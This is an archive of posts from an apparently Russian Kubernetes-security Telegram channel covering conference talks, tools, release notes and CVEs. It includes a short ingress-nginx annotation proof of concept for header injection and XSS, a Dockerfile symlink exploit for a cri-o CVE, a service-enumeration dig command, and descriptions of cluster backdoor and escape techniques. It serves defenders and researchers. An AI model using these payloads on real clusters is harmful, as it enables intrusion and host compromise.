Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Вчера, в Брюсселе, прошла конференция fwd:cloudsec Europe 2024
. Большинство докладов с этой конференции так или иначе затрагивает специфику западных облаков, но всё же доклад Kubernetes Audit Log Gotchas мы не могли обойти стороной.
В докладе автор в очередной раз напоминает о важности использования Kubernetes Audit Log Policy
, а затем рассматривает преимущества и недостатки реализации этого механизма в EKS/GKE/AKS/OKE/Open Shift/Self-managed
кластерах.
Трансляция с конференции доступа по ссылке тут.
Рассмотрим сегодня достаточно интересный инструмент с необычной функциональностью!
crik это акроним к Checkpoint and Restore in Kubernetes
. Под капотом у него естественно criu, а сам он состоит из двух компонент: обертки для запуска приложений, делающей снимки и восстанавливающей из них, и kubernetes
-контроллера, подсказывающему первому компоненту, что ему сейчас нужно делать.
При этом пока в Kubernetes
эта фича заезжает тяжело из-за кучи нюансов, особенностей container runtime
и тд, то данная реализация абсолютно от этого свободна! НО нужно запускать приложение через эту обертку...
Еще об инструменте можно узнать из доклада "The Party Must Go on - Resume Pods After Spot Instance Shut Down".
В эту пятницу 13 мы вам принесли не страшные истории про атаки и взломы, а супер свежие записи докладов с eBPF Summit 2024. Тут можно ознакомиться с расписанием и описанием докладов, а тут посмотреть все видео. Конечно же, безопасность тут не обошли стороной:
- Living on the Edge - securing containers on embedded platforms using eBPF
- Demystifying eBPF security: Navigating risks, safeguards, and best practices
- Security Assessment of the eBPF Verifier
- Towards Secure Kernel Extensibility With eBPF
Всем хороших выходных!
В интересной статье Securing Multi-Cluster ArgoCD автор описывает своё решение по поднятию и развертыванию безопасного мультикластерного Argo CD
.
В Argo
есть возможность добавлять удаленные кластера, но есть проблема – это происходит благодаря Service Account
и токену связанного с ним для аутентификации на удаленном кластере. Автор предлагает решить проблему с помощью oidc-proxy
и короткоживущих токенов.
Оказывается есть container specific OS
от ребят из VMWare
, которая называется Photon OS (и уже доступна аж 5
версия). Официально описание следующее: "Photon OS is a Linux based, open source, security-hardened, enterprise grade appliance operating system that is purpose built for Cloud and Edge applications." Из фишечек можно выделить направленность на тематику Edge
приложений. Из security
моментов там можно выделить:
- Поддержка Control Group V2
- Поддержка SELinux policy
- Поддержка rootless containers
- Поддержка Kernel Live Patching
- Использование Kernel Self-Protection Project (KSPP)
Таким образом кажется все крупнейшие вендоры уже выпустили/используют специализированную ОС: Google
, Amazon
, Microsoft
, RedHat
, VMWare
, Fedora
, OpenSUSE
+ OS Talos
(его нельзя не упомянуть).
Мы уже давно рассказываем, что в специализированных (контейнерных и т.д.) окружениях вопрос безопасности хостовой ОС должен закрывать не классическими способами, а таким. И благодаря этому можно вопрос хостовой безопасности или закрыть полностью, или вынести далеко на второй план относительно текущего состояния дел. И дорогостоящие инженеры бы занимались не ежедневной рутиной, а решали бы действительно интересные задачи.
На нашем сайте в разделе исследований стала доступна запись выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024! Все видео с конференции, где были и другие доклады затрагивающие тему безопасности контейнеров, образов можно посмотреть offzone_moscow/playlists">тут.
И как всегда будем рады ответить на любые вопросы в комментариях к посту ;)
Интересный инструмент encap-attack, основанный на ресерчах Rory McCune
(Kubernetes is a router) и James Cleverley-Prance
(Three Surprising K8s Networking “Features” and How to Defend Against Them) позволяет автоматизировать процесс обнаружения и эксплуатации атак на оверлейные сети.
По сути тулза выполняет четыре функции:
1) Анализ сетевого трафика для идентификации пакетов VXLAN/IP-in-IP
и извлечения полезной информации
2) Запрос к серверу API Kubernetes
и определение диапазона IP
-адресов службы и IP
-адреса службы CoreDNS
3) Отправка отдельных инкапсулированных DNS
и HTTP
-запросов
4) Создание туннеля, который инкапсулирует трафик по всем определенным маршрутам и отправляет его дальше, что позволяет нам использовать другие стандартные инструменты (например, nmap
), как если бы мы находились внутри оверлейной сети
Ознакомиться более подробно с инструментом можно в заметке автора encap-attack: Identification and Exploitation of Network Encapsulation in Kubernetes.
Интересная тулза sockdump позволяет дампать unix domain socket traffic
через bpf
.
Есть возможность сохранять пакеты в pcap
, чтобы удобно смотреть их через Wireshark
.
Возвращаясь к свежей уязвимости в ingress-nginx – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass
, о которой мы рассказывали в начале недели, хочется упомянуть еще один интересный вектор, который можно эксплуатировать, благодаря данной CVE
.
Все предыдущие уязвимости в ingress-nginx
, ровно как и свежая, позволяют исполнять произвольный код или читать произвольные файлы в контейнере ingress controller
, что приводит к раскрытию Service Account Token
с возможностью чтения секретов во всем кластере.
Новый потенциальный импакт в виде XSS, Сache poisoning attacks, Bypass security headers or inject malicious headers
может быть достингут, используя инъекцию в аннотацию nginx.ingress.kubernetes.io/server-snippet
и возможность манипулировать символом возврата каретки (\r)
. PoC
выглядит таким образом:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: example-ingress
annotations:
nginx.ingress.kubernetes.io/server-snippet: |
add_header X-Pwn-Header "Pwn\r\n
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert('XSS');</script>
--------";
return 200 "PWNed";
spec:
rules:
- http:
paths:
- pathType: ImplementationSpecific
path: /foo(/|$)(.*)
backend:
service:
name: test-service
port:
number: 8080
Сегодня хотим поделиться неплохим ресерчем – "Kubernetes has its “ADCS” – How To Backdoor a Kubernetes in silence and more persistent?".
В нём автор рассказывает о возможных методах пост эксплуатации и закрепления в кластере Kubernetes
:- Trusted Proxy for APIServer
- Subsequent Utilization of ETCD Certificates
- Client Certificates
- JWT Tokens
Отдельно отметим технику с созданием Ingress
, а также Service
с использованием externalName
, чтобы прокинуть kubeapi
наружу.
Ingress-nginx
обзавёлся еще одной уязвимостью – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass. Эта CVE
как и предыдущие в ingress-nginx
связана с инъекцией в аннотацию, выполнением произвольного кода в контейнере nginx controller и как следствие с получением привилегированного Service Account Token
с возможностью читать все секреты в кластере.
Исправления доступны с версии 1.12
. В качестве меры митигации также можно рассмотреть запрет на использование определенных аннтоаций в ingress
ресурсе с помощью политик Policy Engine
.
В официальном блоге Kubernetes
вышла заметка "Kubernetes 1.31: Read Only Volumes Based On OCI Artifacts (alpha)".
С версии 1.31
стало возможным монтировать образы как volume
(источники данных) с любой информацией в нем. Тоесть можно хранить и распространять любой контент через OCI
реджистри, а потом подмонтрировать к основному контейнеру с бизнес логикой. На пример, конфиги, базы знаний, feed
уязвимостей, нейронки, LLM
модели и т.д. И теперь это можно не пихать в основной образ!
Работа над этим идет в KEP-4639: VolumeSource: OCI Artifact and/or Image.
Что требуется для использования на текущий момент:
1) Kubernetes 1.31
2) Включить ImageVolume feature gate
3) Соответствующий kubelet
4) Container runtime
с поддержкой фичи. На пример, CRI-O ≥ v1.31
P.S. Сегодня-завтра будем на конференции OFFZONE 2024. Будем рады пообщаться лично!
HashiCorp Vault
для интеграции с Kubernetes
использует например такие механизмы как Vault Secrets Operator
. Но, к сожалению, Vault
не умеет шифровать секреты перед их записью в etcd
. Если вы хотели попробовать это у себя, то vault-kubernetes-kms в помощь.KMS
плагин запускается как Static Pod
, создает unix socket
и получает запросы на шифрование через kubeapi
. Затем плагин использует ключ шифрования Vault transit
и отправляет их обратно kubeapi
, который затем сохраняет зашифрованный ответ в etcd
.
Основные фичи:
- поддержка Vault Token, AppRole authentication
- поддержка KMS Plugin v1 & v2
- автоматическое обновление токенов для предотвращения истечения срока действия токенов
На портале TryHackMe
есть раздел/направление "K8s Best Security Practices", который как не трудно догадаться целенаправленно посвящен безопасности Kubernetes
(если честно, то совсем малой части). Из тем там покрывается:
- Service Accounts
- RBAC
- API
Запросы
- общие моменты про сканирование образов, SecurityContext
и безопасность etcd
Также есть небольшая практика, где нужно немного пошаманить с RBAC
.
На все про все нужно минут 10
(если не читать теорию) ;)
В официальном блоге Kubernetes
с релизом версии 1.31
вышла статья "Kubernetes 1.31: Moving cgroup v1 Support into Maintenance Mode", указывающая на очень важный эволюционный момент.
С версии 1.31
поддержка cgroup v1
переведена в maintenance mode
. Это означает:
1) Feature Freeze
: Никаких новых фич не будет добавляться с поддержкой cgroup v1
2) Security Fixes
: Критические исправления безопасности будут доставляться до cgroup v1
реализации
3) Best-Effort Bug Fixes
: Основные баги могут быть исправлены если это возможно, но некоторые проблемы могут остаться нерешенными.
Так что уже нужно задуматься об апгрейде своих кластеров, хостовой ОС и рантаймов на cgroup v2
, если вы еще об этом не позаботились ;)
20 сентября в 16:00 в Москве в рамках встречи SDL сообщества наша команда Luntry поучаствует в круглом столе “Практические аспекты внедрения безопасной разработки”. Там в хорошей, дружной атмосфере пообсуждаем с коллегами насущные задачи и проблемы.
Читать полностью…Совсем тихо и не заметно вышла новая версия cri-o v1.31.0
. Из интересных новых фич можно отметить:- Add fine-grained SupplementalGroups control for enhanced security
- Added support for the Kubernetes OCI / image Volume Source
Также нельзя не отметить, что в новом релизе cri-o
теперь использует crun
вместо runc
.
Ко всему прочему была пофикшена high
уязвимость CVE-2024-5154, благодаря которой злоумышленник мог создавать файлы на хостовой системе через symlink
. Эксплуатация довольно простая, достаточно было собрать и запустить образ на основе такого Dockerfile
:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra
cri-o
, на хосте будет создан файл /host/mtab
.
Читать полностью…
26 сентября в 11:00 мы решили провести вебинар/стрим "С чего начать защиту кластера Kubernetes?".
Вебинар для тех, кто только начинает заниматься вопросами безопасности контейнерных сред на базе Kubernetes
и не знает всех тонкостей микросервисной инфраструктуры. Обычно мы рассказываем что-то очень хардкорное, глубокое, а тут решили отойти от этого и показать как провести успешный и легкий старт в данной теме.
Рассмотрим:
- какие минимально-необходимые меры принимать для защиты кластера в моменте
- как постепенно наращивать уровень безопасности
- какие минимальные действия и вложения могут дать наибольший результат
- как не пропасть в рутине исправления множества уязвимостей
- как подходить к решению задачи при помощи Luntry
Зарегистрироваться можно тут.
P.S. В комментариях к данному посту можете написать свои вопросы/проблемы что у вас сейчас возникают или возникали при старте. И мы постараемся все это рассмотреть на стриме.
17 сентября наша команда Luntry в лице Дмитрия Евдокимова выступит на Глобальном Форуме Ecumene, который проводится при поддержке ООН.
Мы примим участие в треке «Информационная безопасность» на круглом столе на тему «Равноправие в технологиях» (там собралась очень интересная и авторитетная компания).
Для нашей команды, продвигающей и развивающей тему безопасности микросервисных приложений и контейнерных окружений, это уникальный опыт и прекрасная возможность представить свои взгляды на современную информационную безопасность.
Стали доступны видео с недавно прошедшей конферецнии KubeCon + CloudNativeCon China 2024
. Сами доклады и презентации к ним можно найти тут.
Докладов исключительно на security
тематику не так много, однако вся программа конференции в целом довольно насыщенная и обширная.
Эту неделю завершаем новой статьей из цикла (1,2,3) Kubernetes Security Fundamentals: Admission Control.
В статье рассматриваются Admission Controller Phases
, а также встроенные (PSA
) и внешние admission controllers (OPA Gatekeeper, Kyverno
). Отдельного внимания заслуживает раздел Risks of implementing external admission control
в котором рассказывается о важности правильной настройки вебхука.Admission control
играют важную роль в безопасности Kubernetes
, поскольку позволяют реализовывать и применять политики безопасности в Kubernetes
кластерах. Must have
для ознакомления!
Сегодняшний пост будет полезен как Red team
, так и Blue team
. А речь идет про репозитарий "THC's favourite Tips, Tricks & Hacks (Cheat Sheet)" от легендарных ребят The Hacker's Choice (THC)
.
В данной репе собраны разные приемы и трюки для Linux
, что помогают атакующему развить или скрыть свою деятельность. Абсолютное большинство из этого не требует какого-то специализированного ПО, а лишь bash
и стандартное, легитимное ПО с понимание принципов работы Linux
. Что сразу нас приводит к Living off the Land (LotL) и GTFOBin. Все это упрощает деятельность атакующей стороны, и сильно усложняет деятельность по обнаружению для защищающей стороны.
И это в очередной раз нам говорит о том почему важно использовать в контейнерных окружениях специализированные контейнерные ОС для хоста и минимальные/тонкие образы для самих контейнеров. Это все лишает атакующего пространства для развития атаки, чем очень сильно помогает защищающей стороне.
С началом нового учебного года наша команда Luntry запускает новую инициативу в виде помощи учащимся с исследовательскими работами по теме безопасности контейнеризации, Kubernetes
.
Если вы еще учитесь, но уже хотите работать с актуальными задачами по контейнеризации для своей курсовой/диплома/магистерской/докторской или же делаете какое-то исследование в этой сфере — мы можем вам помочь!
С учетом ваших текущих знаний, опыта, интересов мы поможем подобрать соответствующую тему (если ее еще нет) и предложим поддержку в формате кураторства!
В общем, решили вносить наш посильный вклад в образование =)
P.S. И не забывайте про гигантскую коллекцию материалов по безопасности контейнеризации у нас на сайте в разделе Исследования!
Совсем незаметно с Kubernetes 1.31
в PodSecurityContext
появилось новое поле supplementalGroupsPolicy
, позволяющее описывать поведение для работы с supplementalGroups
.
Это дает возможность решить проблему о которой мы писали тут (обход PolicyEngine
и получение доступа к директориям куда нельзя).
В итоге, это решалось в рамках KEP-3619:Fine-grained SupplementalGroups control. А подробнее можно почитать в заметке на официальном блоге.
На нашем сайте в разделе исследований стали доступны слайды с выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024!
Видео будет доступно позже и оно обязательно к просмотру, так как мы с Николаем Панченко (Т-Банк)
сделали совсем не тривиальную подачу материала (даже задействовали робота доставщика) =)
И как всегда будем рады ответить на любые вопросы в комментариях к посту.
Небольшая техническая заметка "How Kubernetes picks which pods to delete during scale-in", которая раскрывает закулисье алгоритма ответственно за удаления Pod
когда Deployment
скейлится вниз. Все это автор делает очень подробно на базе версии v1.30.0-alpha.0
.
Всем хорошей пятницы и выходных!
P.S. Сегодня на OFFZONE
в 12:00
на main track
рассказываем про "Побеги из контейнеров: Kubernetes 2024 edition" - приходите ;)
Наш хороший товарищ Алексей Федулаев
недавно провел замечательный вебинар "Побеги из контейнеров / Docker Escape", который можно посмотреть на его канале и к которому идет сопроводительный репозитарий со всеми инструкциями и исходными кодами!
Среди рассматриваемых побегов, следующие сценарии:
1) с помощью SYS_ADMIN
2) с помощью SYS_PTRACE
3) с помощью SYS_MODULE
4) с помощью DAC_READ_SEARCH
5) с помощью DAC_OVERRIDE
6) с помощью docker soсket
внутри контейнера
Также у Алексея есть вебинары "Атаки на CICD", "Безопасность Docker. Ультимативный гайд по харденингу Docker", "Введение в безопасность Docker".
P.S. Про побеги из контейнеров особенно актуально в преддверии нашего доклад на OFFZONE 2024 ;)
P.S.S. Если вы что-то создаете по тематике канала, то не стесняйтесь это присылать!
На конференции OFFZONE 2024 наша команда Luntry совместно с нашим хорошим товарищем Николаем Панченко (Ведущий специалист обеспечения безопасности K8s
и Cloud
, T-Банк) представит доклад "Побеги из контейнеров: Kubernetes 2024 edition".
Тема побегов из контейнеров в K8s
не нова. Ввиду эволюции экосистемы и инструментов IT
в кластере появляются новые возможности. Но новые возможности, как известно, порождают новые уязвимости! Это ведет к тому, что в инфраструктуре K8s
появляется возможность эксплуатации новых векторов атак для побега из контейнера. При этом старые векторы также стабильно присутствуют и не дают о себе забывать. В рамках доклада мы на примерах рассмотрим векторы для побегов, которые стоит знать, помнить и учитывать в 2024
году.
Данное выступление в некотором роде развитие выступления "Container escapes: Kubernetes edition" c ZeroNights 2021 ;)
Когда-то на канале мы рассказывали о фишке, которая может быть полезна при пентесте в Kubernetes
окружении – получение адресов всех сервисов в Kubernetes через dig
:
dig SRV +short any.svc.cluster.local
CoreDNS 1.9
(вышла около двух лет назад) эту возможность выпилили. А значит в свежих версиях Kubernetes этот трюк точно не будет работать.k8spider
, про который мы рассказывали в одном из предыдущих постов.
Читать полностью…
Небольшая тулза kube-audit-viewer будет вам полезна, если вы собираете Kubernetes Audit Log
и хотите удобно их просматривать. По сути это простое веб-приложение, которое принимает на вход файл с логами (через параметр -logfile
) и рендерит их на странице в браузере. Также присутствует функционал с простым поиском.
P.S – да, может быть не совсем красиво и удобно, но это лучше чем ничего.